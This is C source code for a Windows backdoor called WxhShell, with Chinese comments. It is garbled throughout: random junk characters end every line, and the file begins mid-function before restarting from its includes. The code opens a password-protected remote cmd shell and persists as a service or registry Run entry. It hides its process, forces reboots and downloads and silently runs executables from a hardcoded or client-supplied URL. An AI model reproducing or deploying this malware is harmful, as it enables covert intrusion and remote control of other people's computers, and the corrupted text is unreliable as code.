    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _W,?_"[R=  
    if(Boot(SHUTDOWN)) rJtk4hOF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nJ1<8 p  
    else { F4~O-g.<  
    closesocket(wsh); h CV(O2jL  
    ExitThread(0); JE@3UXg  
    } zP@\rZ@4  
    break; %x}Unk  
    } ?i!d00X  
  // 获取shell >>;He7  
  case 's': { >m=XqtP  
    CmdShell(wsh); v0;dk(  
    closesocket(wsh); ]C|xo.=?]  
    ExitThread(0); .Rb1%1bdc  
    break; N>g6KgX{K  
  } ;qUd]c9oi  
  // 退出 s%m?Yh3  
  case 'x': { bHTTxZ-%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X)c0 y3hk  
    CloseIt(wsh); -:Juxh  
    break; 9`@}KnvB?  
    } @)z?i  
  // 离开 AvuGAlP  
  case 'q': { p}K+4z   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jCg4$),b  
    closesocket(wsh); xyXVWd[  
    WSACleanup(); $z5C+K@  
    exit(1); q%1B4 mF'  
    break; qV``' _=<  
        } Tv% Z|%*  
  } /"R{1  
  } +4 D#Ht 7  
\TYH7wXDP  
  // 提示信息 9/R=_y-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4s <Z KU  
} 0f5)]  
  } em ]0^otM  
O"RIY3m  
  return; /$FpceB!W  
} "Gq%^^ *  
:&RpB^]  
// shell模块句柄 ^~bAixH^k  
int CmdShell(SOCKET sock) <){J|O  
{ 92*"3)  
STARTUPINFO si; "9y 0]~  
ZeroMemory(&si,sizeof(si)); uL~.#Y_jQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SuBUhzR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Q*zZ]kg  
PROCESS_INFORMATION ProcessInfo; .[6T7fdi  
char cmdline[]="cmd"; COH>B1W@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |4` ;G(ta  
  return 0; =feVT2*  
} ,pdf$) XB  
nEik;hAz  
// 自身启动模式 TF,([p*  
int StartFromService(void) }|c-i.0=  
{ HLq2a vs\  
typedef struct WOYN% 0#  
{ P4s,N|bs`  
  DWORD ExitStatus; %6:"tuA  
  DWORD PebBaseAddress; H1vToIP%  
  DWORD AffinityMask; 1{h,LR  
  DWORD BasePriority; }. V!|R,  
  ULONG UniqueProcessId; 4X>=UO``L  
  ULONG InheritedFromUniqueProcessId; LcHe5Bv%  
}   PROCESS_BASIC_INFORMATION; Wr4Ob*2iD  
8J2U UVA`1  
PROCNTQSIP NtQueryInformationProcess; wPJA+  
1f2*S$[*L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i | *r/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -TNb=2en(  
[>:9 #n  
  HANDLE             hProcess; #[~f 6s9D  
  PROCESS_BASIC_INFORMATION pbi; }SS~uQ;8  
KFM)*Icg\8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~eekv5  
  if(NULL == hInst ) return 0; % +M,FgW  
;!H]&2`'(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r+i=P_p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &^B;1ZMHD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .wQM_RZJ  
lfLLk?g3k  
  if (!NtQueryInformationProcess) return 0; v-B&"XGy:  
1?".R]<{2T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1X#gHstD  
  if(!hProcess) return 0; v)v`896S`  
j[:Iu#VR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &W>%E!F  
b5^-q c6X  
  CloseHandle(hProcess); s{0c.M  
} FC(Z-g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M#SGZ~=1r  
if(hProcess==NULL) return 0; <e-hR$  
:b(Nrj&TQ[  
HMODULE hMod; "J%dI9tM{  
char procName[255]; 0NyM|  
unsigned long cbNeeded; hoZM;wC  
wf,w%n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VP"C|j^I  
T<u QhPMw  
  CloseHandle(hProcess); 1u_< 1X3  
"pQ) 5/e  
if(strstr(procName,"services")) return 1; // 以服务启动 F{ sPQf'  
dpB\=  
  return 0; // 注册表启动 b3+F~G-I"  
} A04E <nr  
PO]c&}/  
// 主模块 o/I`L  
int StartWxhshell(LPSTR lpCmdLine) *|3G"B{w6  
{ w(!COu  
  SOCKET wsl; * o#P)H  
BOOL val=TRUE; %j;mDR9 5  
  int port=0; K,f- w2!  
  struct sockaddr_in door; VNxhv!w  
Y i`wj^  
  if(wscfg.ws_autoins) Install(); aHSl_[  
*nV*WU S3  
port=atoi(lpCmdLine); $ I|K<slV  
d0G d5%  
if(port<=0) port=wscfg.ws_port; T1YbF/M'  
KO=H!Em\l  
  WSADATA data; b("M8}o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7\EY&KI"0  
ifcC [.im  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m4'x>Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #PA 9bM  
  door.sin_family = AF_INET; 7;Vqr$9)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 80Z'1'u0  
  door.sin_port = htons(port); rLI );!^-  
}+GIrEDId  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n]v,cfn/=<  
closesocket(wsl); Aiqn6BX{  
return 1; G!5~`v  
} Tu}?Q. pKo  
&K-0ld(;  
  if(listen(wsl,2) == INVALID_SOCKET) { G[a&r  
closesocket(wsl); \@GKVssw  
return 1; W=!di3IA  
} '2xfU  
  Wxhshell(wsl); *.A{p ;JC(  
  WSACleanup(); 3mLtnRX[m  
]}>uvl^l  
return 0; {7LNQGiJ  
:Wd@Qy?;  
} 5HW'nhE  
t4r%EP|Zt  
// 以NT服务方式启动 U6LENY+Ja  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oaM 3#QJ  
{ |HA1.Y=  
DWORD   status = 0; ,2Q5'!o  
  DWORD   specificError = 0xfffffff; "4/J4'-   
,O 1/|Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b' fcWp0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2#xz,RM.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xA]}/*  
  serviceStatus.dwWin32ExitCode     = 0; O <"\G!y~  
  serviceStatus.dwServiceSpecificExitCode = 0; N:&EFfg3  
  serviceStatus.dwCheckPoint       = 0; {9<c*0l  
  serviceStatus.dwWaitHint       = 0; +L|-W9"@3  
%p8#pt\$7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w)xfP^M#  
  if (hServiceStatusHandle==0) return; i 3i  
{6gY6X-R  
status = GetLastError(); Ql{:H5  
  if (status!=NO_ERROR) h0;R*c  
{ Hm 17El68  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y}GFtRNG  
    serviceStatus.dwCheckPoint       = 0; BFn4H%1  
    serviceStatus.dwWaitHint       = 0; b!c2j   
    serviceStatus.dwWin32ExitCode     = status; I9O%/^5^[w  
    serviceStatus.dwServiceSpecificExitCode = specificError; T1g3`7C3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lka Wwjv_D  
    return; F`RPXY`ux  
  } %SN"<O!  
tqwAS)v=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b+e9Pi*\  
  serviceStatus.dwCheckPoint       = 0; &^(4yw(~  
  serviceStatus.dwWaitHint       = 0; X@H/"B%u2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `tEW.s%Y(6  
} ?[c{pb ,|  
F$te5 ` a  
// 处理NT服务事件,比如:启动、停止 (KnU-E]L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _tR?WmNH=  
{ *`~]XM@H  
switch(fdwControl) '0 J*9  
{ fO t?2Bh  
case SERVICE_CONTROL_STOP: U~q2j#pJ  
  serviceStatus.dwWin32ExitCode = 0; /uJ(&#87  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ms`U,  
  serviceStatus.dwCheckPoint   = 0; BL1d= %2 R  
  serviceStatus.dwWaitHint     = 0; ;U]Ym48  
  { *dPG[ }  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,qT+Vqpr{  
  } f yhBfA:u  
  return; [SU;U['7  
case SERVICE_CONTROL_PAUSE: kB-]SD#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _DLELcH Y  
  break; 0rCQz3gh1  
case SERVICE_CONTROL_CONTINUE: uG=~k O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~+CEek  
  break; fRomP-S  
case SERVICE_CONTROL_INTERROGATE: YWF Hv@  
  break; ,C}s8|@k  
}; i2l/y,UX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $tB `dDj  
} ;2[o>73F  
hkl9 EVO)  
// 标准应用程序主函数 HJjx!7h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KuZZKh  
{ #R*7y%cO  
?(Ytc)   
// 获取操作系统版本 PM`iqn)@  
OsIsNt=GetOsVer(); (Q}ByX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); usR+ZQaA  
c;.jo?RR2  
  // 从命令行安装 4n6t(/]b<  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,C0D|q4/!.  
7[ZoUWx  
  // 下载执行文件 vE&K!k`  
if(wscfg.ws_downexe) { t_w2J=2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dQ=L<{(  
  WinExec(wscfg.ws_filenam,SW_HIDE); )LTX.Kg  
} V)A7q9Bum  
xv~Sk2Z+d  
if(!OsIsNt) { rr]-$]Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 qFN`pe,  
HideProc(); 8,-U`.  
StartWxhshell(lpCmdLine); K@tELYb  
} -S7i':  
else O'h f8w  
  if(StartFromService()) Of m0{c=  
  // 以服务方式启动 /p$+oA+  
  StartServiceCtrlDispatcher(DispatchTable); TGHyBPJb  
else (Rh$0^)A  
  // 普通方式启动 2hsRYh  
  StartWxhshell(lpCmdLine); y 'Ah*h  
A$70!5*  
return 0; bMB*9<c~  
} qi$nG_<<Z  
%>Mcme>(W  
>f70-D28  
jM: |%o  
=========================================== L [&|<<c  
\1<8'at  
~(\ .j=x  
B["jndyr  
>!bw8lVV  
'Lh nl3  
" 6'Q*SO;1gh  
lP *p7Y '  
#include <stdio.h> Og7^7))  
#include <string.h> $},_O8R  
#include <windows.h> a%r(F  
#include <winsock2.h> Jw0I$W/  
#include <winsvc.h> Zmm6&OZ%  
#include <urlmon.h> kK=f@l  
@*BVS'\  
#pragma comment (lib, "Ws2_32.lib") z||FmL{  
#pragma comment (lib, "urlmon.lib") ||Vx:(d7D&  
Qt>Bvu Q  
#define MAX_USER   100 // 最大客户端连接数 x27$h)R0v  
#define BUF_SOCK   200 // sock buffer ;$3e pP  
#define KEY_BUFF   255 // 输入 buffer T_[  
NZz^*Ela  
#define REBOOT     0   // 重启 <Vl`EfA(  
#define SHUTDOWN   1   // 关机 <l5s[  
Cd|rDa  
#define DEF_PORT   5000 // 监听端口 80K"u[  
-ufaV#  
#define REG_LEN     16   // 注册表键长度 'LYN{  
#define SVC_LEN     80   // NT服务名长度 X@za4d  
{01^xn.  
// 从dll定义API M[P1hFuna  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .rQcg.8/B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )j!%`g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cz6bD$5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .>1vN+  
s9SUj^  
// wxhshell配置信息 E: Ul_m8  
struct WSCFG { e5(c,,/  
  int ws_port;         // 监听端口 ki|OowP  
  char ws_passstr[REG_LEN]; // 口令 vI]V@i l  
  int ws_autoins;       // 安装标记, 1=yes 0=no =R*IOJ  
  char ws_regname[REG_LEN]; // 注册表键名 p-*{x  
  char ws_svcname[REG_LEN]; // 服务名 =^z*p9ZB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A3|2;4t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mbHMy[R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9Zr6 KA{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;H9 W:_ahE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R)-~5"}~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >0?ph<h1[q  
qv[w 1;U"  
}; GJ:oUi  
2V*;=cv~z  
// default Wxhshell configuration J;ycAF~  
struct WSCFG wscfg={DEF_PORT, z{/#/,V5D4  
    "xuhuanlingzhe", -.K'rW  
    1, 6=96^o*  
    "Wxhshell", h+w1 D}*  
    "Wxhshell", WW-}c;cnK  
            "WxhShell Service", ? M.'YB2  
    "Wrsky Windows CmdShell Service", XB a^ A  
    "Please Input Your Password: ", *ZIX76y<!A  
  1, iD/+#UTY  
  "http://www.wrsky.com/wxhshell.exe", |h6, .#n  
  "Wxhshell.exe" N{<5)L~Y  
    }; !Wj`U$];  
jOZ>^5}  
// 消息定义模块 4#W*f3d[@:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !Ej?9LHo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [LrO"9q(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zb s7G  
char *msg_ws_ext="\n\rExit."; VVfTFi<  
char *msg_ws_end="\n\rQuit."; 9%2h e)Yqc  
char *msg_ws_boot="\n\rReboot..."; 92~$Qa\S!  
char *msg_ws_poff="\n\rShutdown..."; (a"/cH  
char *msg_ws_down="\n\rSave to "; @2`nBtk  
ng9 _c  
char *msg_ws_err="\n\rErr!"; Wu/:ES)C  
char *msg_ws_ok="\n\rOK!"; `|mV~F|  
z\YLO%Mm  
char ExeFile[MAX_PATH]; Mm!;+bM%  
int nUser = 0; op3a*KG  
HANDLE handles[MAX_USER]; k> ~D  
int OsIsNt; $01~G?:]`  
wbI1~/  
SERVICE_STATUS       serviceStatus; AmJdZs|/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J+wnrGoK  
` l %,4qR  
// 函数声明 ?xuWha@:  
int Install(void); :w)9 (5  
int Uninstall(void); ;zd.KaS  
int DownloadFile(char *sURL, SOCKET wsh); GC_c.|'6[  
int Boot(int flag); )~`UDaj_  
void HideProc(void); _Ud!tK*H  
int GetOsVer(void); nZM]EWn  
int Wxhshell(SOCKET wsl); u95D0S  
void TalkWithClient(void *cs); qpzyl~g:C  
int CmdShell(SOCKET sock); M!X^2  
int StartFromService(void); |io)?`pj  
int StartWxhshell(LPSTR lpCmdLine); - Rx;"J.H  
^}`24~|y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B~b ='jN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uMRzUK`QK  
uo ;m  
// 数据结构和表定义 ,W;|K 5  
SERVICE_TABLE_ENTRY DispatchTable[] = Bn.5ivF3  
{ 6$l?D^{  
{wscfg.ws_svcname, NTServiceMain}, 24wr=5p]Q  
{NULL, NULL} K[x=knFO  
}; ;wTc_i  
&he:_p$x  
// 自我安装 @LSX@V   
int Install(void) u|k_OUTq  
{ y qK*E*  
  char svExeFile[MAX_PATH]; (W}DMcuSd  
  HKEY key; /SyAjZ  
  strcpy(svExeFile,ExeFile); G<]@nP{P  
f8G<5_!K_  
// 如果是win9x系统,修改注册表设为自启动 N^AlhR^  
if(!OsIsNt) { Spn)M79  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /1uGsE+[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h iK}&  
  RegCloseKey(key); P@% L.y B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jy_4W!4a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Zmc3&vRl  
  RegCloseKey(key); TI\EkKu"  
  return 0; \rE] V,,2  
    } U#<{RqY  
  } F`,Hf Cb\  
} yo%Nz"  
else { `?f<hIJoz  
M1T.  
// 如果是NT以上系统,安装为系统服务 m"6K_4r]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p#3G=FV  
if (schSCManager!=0) Bwu?DK  
{ IkxoW:L  
  SC_HANDLE schService = CreateService `$FB[Z} &  
  ( DghqSL ^s  
  schSCManager, =NSunW!  
  wscfg.ws_svcname, d(Hqj#`-31  
  wscfg.ws_svcdisp, 0fK#:6  
  SERVICE_ALL_ACCESS, s,l*=<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BuUM~k&SY  
  SERVICE_AUTO_START, T0.sL9  
  SERVICE_ERROR_NORMAL, e E(+  
  svExeFile, 0QxBC7` qp  
  NULL, t:xTmK&vt  
  NULL, 8 qZbsZi4  
  NULL, O@w_"TJP/z  
  NULL, PWquu`  
  NULL (+<66 T O  
  ); 5=}CZYWB  
  if (schService!=0) (f~}5O<  
  { hZ.](rD  
  CloseServiceHandle(schService);  kKY,&Fn-  
  CloseServiceHandle(schSCManager); }5}>B *  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F8M};&=*1r  
  strcat(svExeFile,wscfg.ws_svcname); EMdU4YnE"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qT&zg@m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oel?we6  
  RegCloseKey(key); h cu\c+ A  
  return 0; <q Q@OUI   
    } E>O@Bv  
  } de[NIDA;`  
  CloseServiceHandle(schSCManager); `LKf$cx(A  
} ;%cW[*Dw  
} 25r3[gX9`  
'@IReMl  
return 1; 2=%]Ax"R  
} f hNJB0  
!89hO4 0r  
// 自我卸载 Vup|*d2r0E  
int Uninstall(void) -KfMK N~  
{ Og8%SnEpMI  
  HKEY key; JXR]G  
tV4wkS=R|  
if(!OsIsNt) { =h+-1zp{M^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =kzHZc  
  RegDeleteValue(key,wscfg.ws_regname); U-U(_W5&  
  RegCloseKey(key); " BLJh)i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @\>7 wt_'  
  RegDeleteValue(key,wscfg.ws_regname); P m&^rC;  
  RegCloseKey(key); 5H|7DVG  
  return 0; 6E(..fo:"  
  } _c-(T&u<  
} 0%,?z`UY  
} CkNh3'<wg  
else { @W~aoq6  
3II*NANeg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I :bT"N  
if (schSCManager!=0) ^upd:q  
{ q-,`\ TS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Nus]]Iy-g  
  if (schService!=0) "v0SvV<7  
  { hW6Ksn,*  
  if(DeleteService(schService)!=0) { 0kw)-)=  
  CloseServiceHandle(schService); 6$zd2N?  
  CloseServiceHandle(schSCManager); -3 "<znv  
  return 0; ^g"p}zf L"  
  } Vi0D>4{+  
  CloseServiceHandle(schService); P\QbMj1U  
  } %;<g!Vw.k  
  CloseServiceHandle(schSCManager); L|;sB=$'{  
} ZF8`= D`:R  
} FPPl^  
P^U.VXY}  
return 1; Vock19P  
} 7(P4KvkI  
ub+XgNO  
// 从指定url下载文件 G|||.B 8  
int DownloadFile(char *sURL, SOCKET wsh) (uC@cVk P  
{ 'Z%1Ly^b  
  HRESULT hr; ->7zVAX  
char seps[]= "/"; !XM*y  
char *token; 1s(i\&B  
char *file; ( )f)  
char myURL[MAX_PATH]; uyWw3>  
char myFILE[MAX_PATH]; oMOh4NH,x  
/}iBrMD{[  
strcpy(myURL,sURL); sD&V_ &i  
  token=strtok(myURL,seps); {+3g*s/HI  
  while(token!=NULL) {>XoE %  
  { 6Ypc]ym=J  
    file=token; ] ;CJ6gM~  
  token=strtok(NULL,seps); <Z\{ijfvD  
  } 2vb qz  
MD3iWgM  
GetCurrentDirectory(MAX_PATH,myFILE); <Of-,PcCV  
strcat(myFILE, "\\"); v!$?;"d+  
strcat(myFILE, file); wM3m'# xJ  
  send(wsh,myFILE,strlen(myFILE),0); -lAY*2Jg  
send(wsh,"...",3,0); 2^w{Hcf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .[3C  
  if(hr==S_OK) r:4]:NKCi  
return 0; W5~!)Ec  
else :_=YH+bZ  
return 1; 6s ~!B{Q  
nV`W0r(f'  
} @O-\s q  
&] xtx>qg<  
// 系统电源模块 )r)ZmS5O  
int Boot(int flag) 8#o2qQ2+  
{ <aI}+  
  HANDLE hToken; Cb.M  
  TOKEN_PRIVILEGES tkp; */K]sQZa  
og&h$<uOZt  
  if(OsIsNt) { LnsYtkb r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N.ZuSkRM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2"%f:?xV{  
    tkp.PrivilegeCount = 1; /<%L&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SZ7; } r8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]mgpd}Y  
if(flag==REBOOT) { ASr@5uFR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AN|f:259  
  return 0; %L wq.  
} 7u5H o`  
else { 3f~znO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2iOYC0`!  
  return 0; ]D=fvvST  
} )%f]P<kq6  
  } "V`DhOG&  
  else { -w5sXnS  
if(flag==REBOOT) { T=@Ygjk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '* /$66|  
  return 0; y7GgTC/H  
} ,ei=w,O  
else { T7O)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QXl~a%lB  
  return 0; jpTk@  
} oL<5hN*D  
} >&F:/   
?C   
return 1; rls{~ZRl  
} u]ps-R_$G  
N%1nii  
// win9x进程隐藏模块 UdA,.C0  
void HideProc(void)  x\VP X  
{ bk a%W@Y%  
Fdq5:v?k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4T v=sP  
  if ( hKernel != NULL ) rq}xuSFI  
  { gkKNOus  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BW`;QF<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `VDvxl@1  
    FreeLibrary(hKernel); B7.&yXWgn  
  } &FYv4J  
`~41>mM%  
return; uK1VFW  
}  a3a:H  
_5$L`&  
// 获取操作系统版本 #YK3Ogb,  
int GetOsVer(void) d3#e7rQ8  
{ {eQijW2Z3  
  OSVERSIONINFO winfo; lQm7`+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |+>U91!  
  GetVersionEx(&winfo); ~@[<y1g?nG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @l5GBsLK  
  return 1; 9jNh%raG|  
  else \b$Y_  
  return 0; GJHJ?^%  
} ^),t=!;p  
YRd`G3J  
// 客户端句柄模块 HW#@e kh  
int Wxhshell(SOCKET wsl) W ,v0~  
{ -C!m#"PDW  
  SOCKET wsh; P.1Z@HC  
  struct sockaddr_in client; V-X Ty iv  
  DWORD myID; pqju@FD *  
D>Rlm,U  
  while(nUser<MAX_USER) '- #QK'p  
{ G-sQL'L[U  
  int nSize=sizeof(client); A* Pz-z>z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D*sL&Rt][Y  
  if(wsh==INVALID_SOCKET) return 1; nHp$5|r<  
5 [4{1v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aMJ2bu  
if(handles[nUser]==0) dNov= w  
  closesocket(wsh); [6/8O  
else x(~V7L>"i  
  nUser++; Ap|g[J  
  } \(`C*d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L&uPNcZ`-  
IMzt1l =7  
  return 0; =e9<.{]S/  
} a( N;| <  
@uG/2'B(  
// 关闭 socket c%+uji6  
void CloseIt(SOCKET wsh) R9QW%!:,\2  
{ d5R2J:dI  
closesocket(wsh); h%v qt~0  
nUser--; mC?}:W M@  
ExitThread(0); 1|:;~9n<t  
} uX&h~qE/  
F6:LH,~8   
// 客户端请求句柄 2^:iU{  
void TalkWithClient(void *cs) If8 ^  
{ wu b7w#  
%*IH~/Ld;]  
  SOCKET wsh=(SOCKET)cs; `49!di[  
  char pwd[SVC_LEN]; 3Ljj|5.q  
  char cmd[KEY_BUFF]; ^BW8zu@=O  
char chr[1]; ZU2D.Kf_:  
int i,j; wnQi5P+  
s*eM}d.p  
  while (nUser < MAX_USER) { ,_=LV  
Z^mQb2e.  
if(wscfg.ws_passstr) { /BhP`a%2Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IMpL+W.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ke~!1S8=  
  //ZeroMemory(pwd,KEY_BUFF); ZZfi,0R  
      i=0; N.SV*G @  
  while(i<SVC_LEN) { #c'}_s2F[  
n0%S: (  
  // 设置超时 3x z z* <  
  fd_set FdRead; `1y@c"t  
  struct timeval TimeOut; |It{L0=U  
  FD_ZERO(&FdRead); */$]kE  
  FD_SET(wsh,&FdRead); ,JPDPI/a  
  TimeOut.tv_sec=8; HW"5MZ8E  
  TimeOut.tv_usec=0; s:z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _)4zm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BIg2`95F|  
M*~XpT3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #]^M/y h  
  pwd=chr[0]; s5MG#M 9  
  if(chr[0]==0xd || chr[0]==0xa) { 'RNj5r  
  pwd=0; |I|,6*)xg  
  break; KxfH6:\RB  
  } 9C5F#(uY  
  i++; _p9 _Pg8  
    } gI@nE:(m  
&b2@+/ F  
  // 如果是非法用户,关闭 socket s9fEx -!y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v`:!$U* H=  
} .cmhi3o4  
2(Yt`3Go(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !MmbwB'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n:H |=SF{  
%z"$?Iv  
while(1) { kb~ 9/)~g  
F`+S(APT8  
  ZeroMemory(cmd,KEY_BUFF); [DTe  
F#qc#s  
      // 自动支持客户端 telnet标准   !9j6l 0  
  j=0; *0r!eD   
  while(j<KEY_BUFF) { DLe>EU;vS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]xIgP%  
  cmd[j]=chr[0]; c]ga) A(  
  if(chr[0]==0xa || chr[0]==0xd) { m+ #G*  
  cmd[j]=0; wGHVq fm5  
  break; W4h]4X  
  } sp0_f;bC  
  j++; ?;w\CS^Qu  
    } I^D*) z   
b8$%=Xp  
  // 下载文件 1WY$Vs  
  if(strstr(cmd,"http://")) { VwXR,(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'l-VWqR-  
  if(DownloadFile(cmd,wsh)) ?4Rq +  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gs~u8"B  
  else piIGSC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `1FNs?j  
  } eV0eMDY5  
  else { ?~]mOv>  
a^VI)  
